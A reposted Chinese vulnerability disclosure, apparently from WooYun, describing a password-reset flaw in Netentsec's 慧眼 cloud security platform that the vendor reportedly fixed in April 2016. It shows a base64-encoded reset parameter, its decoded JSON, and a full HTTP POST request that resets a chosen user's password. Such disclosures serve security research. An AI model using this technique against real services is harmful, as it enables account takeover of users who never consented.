神刀安全网

漏洞标题: 网康科技慧眼云安全平台再次秒改任意用户密码(官网帐号演示)

漏洞详情

披露状态:

2016-04-05: 细节已通知厂商并且等待厂商处理中
2016-04-06: 厂商已经确认,细节仅向厂商公开
2016-04-08: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

我又来了。

详细说明:

这次拿重置功能密码做演示

1.通过自己帐号找回密码,收到邮件,打开链接,把用户名改成别人的,提示失败了,看了一下参数中还有邮箱地址,心想是不是用户名与邮箱匹配上才能重置成功,于是找另外一个帐号测试,重置成功。

但问题来了,怎么才能同时知道用户名与邮箱呢?找回密码功能中的邮箱地址打码了,这样的话利用难度大了。

2.无意中看到找回密码发送成功后的url链接中有一堆加密的信息,于是猜一下是不是base64,解密码之,发现用户名和邮箱地址都在里面,这样就可以重置任意用户密码了。

code 区域
https://yun.netentsec.com/main/index/pwfind?action=pwfind&params=eyJ1c2VyaWQiOiIxOSIsInVzZXJuYW1lIjoibmV0ZW50c2VjIiwibWFpbCI6ImhhemFyZDA4QDEyNi5jb20iLCJocmVmIjoiaHR0cDpcL1wvbWFpbC4xMjYuY29tIn0=#
params base64 解密后:{"userid":"19","username":"netentsec","mail":"[email protected]","href":"http:////mail.126.com"}

漏洞标题:  网康科技慧眼云安全平台再次秒改任意用户密码(官网帐号演示)

漏洞证明:

官网帐号上次提交漏洞后改绑定邮箱了。

code 区域
POST /main/index/setpass HTTP/1.1
Host: yun.netentsec.com
Proxy-Connection: keep-alive
Content-Length: 116
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://yun.netentsec.com
X-Requested-With: XMLHttpRequest
User-Agent:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://yun.netentsec.com/main/index/activation?from=ACTIVE_BY_URL&action=pwfind&t=536df14a6efbf98423076b1b7e16e03c
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie:

username=netentsec&[email protected]&pw=a123456&newpw=a123456&XYGQnxJ1kRajx7UI=bbcc55da8094e62cf7f836c09057f7c9

漏洞标题:  网康科技慧眼云安全平台再次秒改任意用户密码(官网帐号演示)

修复方案:

校验 啊校验。

版权声明:转载请注明来源 专业种田@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 网康科技慧眼云安全平台再次秒改任意用户密码(官网帐号演示)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮